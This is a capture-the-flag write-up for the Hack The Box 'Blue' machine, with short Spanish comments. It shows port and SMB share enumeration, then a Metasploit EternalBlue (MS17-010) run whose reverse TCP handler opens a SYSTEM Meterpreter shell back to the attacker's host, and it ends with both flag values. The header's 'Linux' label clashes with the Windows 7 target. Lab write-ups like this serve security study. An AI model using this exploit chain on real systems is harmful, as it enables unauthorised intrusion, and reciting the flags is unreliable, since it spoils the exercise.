Blue
Blue
Blue Linux · Easy
Task 1
How many open TCP ports are listening on Blue? Don’t include any 5-digit ports.
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┌──(pmartinezr㉿kali)-[~/htb/blue]
└─$ nmap -p- -sCVS -T 5 --min-rate 500 10.129.9.148
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-09 18:09 CET
Warning: 10.129.9.148 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.9.148
Host is up (0.043s latency).
Not shown: 64811 closed tcp ports (reset), 715 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6s, deviation: 3s, median: 4s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-12-09T17:11:43
|_ start_date: 2025-12-09T17:02:45
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-12-09T17:11:47+00:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 135.77 seconds
La pregunta pide excluir los puertos con 5 digitos así que la respuesta es 3
3
Task 2
What is the hostname of Blue?
haris-PC
Task 3
What operating system is running on the target machine? Give a two-word answer with a name and high-level version.
Windows 7
Task 4
How many SMB shares are available on Blue?
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┌──(pmartinezr㉿kali)-[~/htb/blue]
└─$ smbclient -L 10.129.9.148
Password for [WORKGROUP\pmartinezr]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Share Disk
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.9.148 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
El error de conexión no impide enumerar los recursos
5
Task 5
What 2017 Microsoft Security Bulletin number describes a remote code execution vulnerability in SMB?
Buscamos en Internet https://learn.microsoft.com/es-es/security-updates/securitybulletins/2017/ms17-010
MS17-010
Task 6 (optional)
Optional question: A worm was set loose on the internet in May 2017 propagating primarily through MS17-010. What is the famous name for that malware?
Como vamos a olvidar el malware que infectó a Telefónica
WannaCry
Task 7
What user do you get execution with when exploiting MS17-010? Include the full name, including anything before a .
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msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.15.224:4444
[*] 10.129.9.148:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.9.148:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.129.9.148:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.9.148:445 - The target is vulnerable.
[*] 10.129.9.148:445 - Connecting to target for exploitation.
[+] 10.129.9.148:445 - Connection established for exploitation.
[+] 10.129.9.148:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.9.148:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.9.148:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.9.148:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.9.148:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.129.9.148:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.9.148:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.9.148:445 - Sending all but last fragment of exploit packet
[*] 10.129.9.148:445 - Starting non-paged pool grooming
[+] 10.129.9.148:445 - Sending SMBv2 buffers
[+] 10.129.9.148:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.9.148:445 - Sending final SMBv2 buffers.
[*] 10.129.9.148:445 - Sending last fragment of exploit packet!
[*] 10.129.9.148:445 - Receiving response from exploit packet
[+] 10.129.9.148:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.9.148:445 - Sending egg to corrupted connection.
[*] 10.129.9.148:445 - Triggering free of corrupted buffer.
[*] Sending stage (230982 bytes) to 10.129.9.148
[*] Meterpreter session 1 opened (10.10.15.224:4444 -> 10.129.9.148:49158) at 2025-12-09 18:25:52 +0100
[+] 10.129.9.148:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.9.148:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.9.148:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Hay que fijarse en la pregunta de “incluir cualquier cosa antes de a.”
nt authority\system
Submit the flag located on the haris user’s desktop.
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c:\Users\haris\Desktop>type user.txt
type user.txt
a377767c9b001fc47f547f8b549937a3
a377767c9b001fc47f547f8b549937a3
Submit the flag located on the administrator’s desktop.
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c:\Users\Administrator\Desktop>type root.txt
type root.txt
a1fa647185976a80ef406ca5cf2b2ba4
a1fa647185976a80ef406ca5cf2b2ba4
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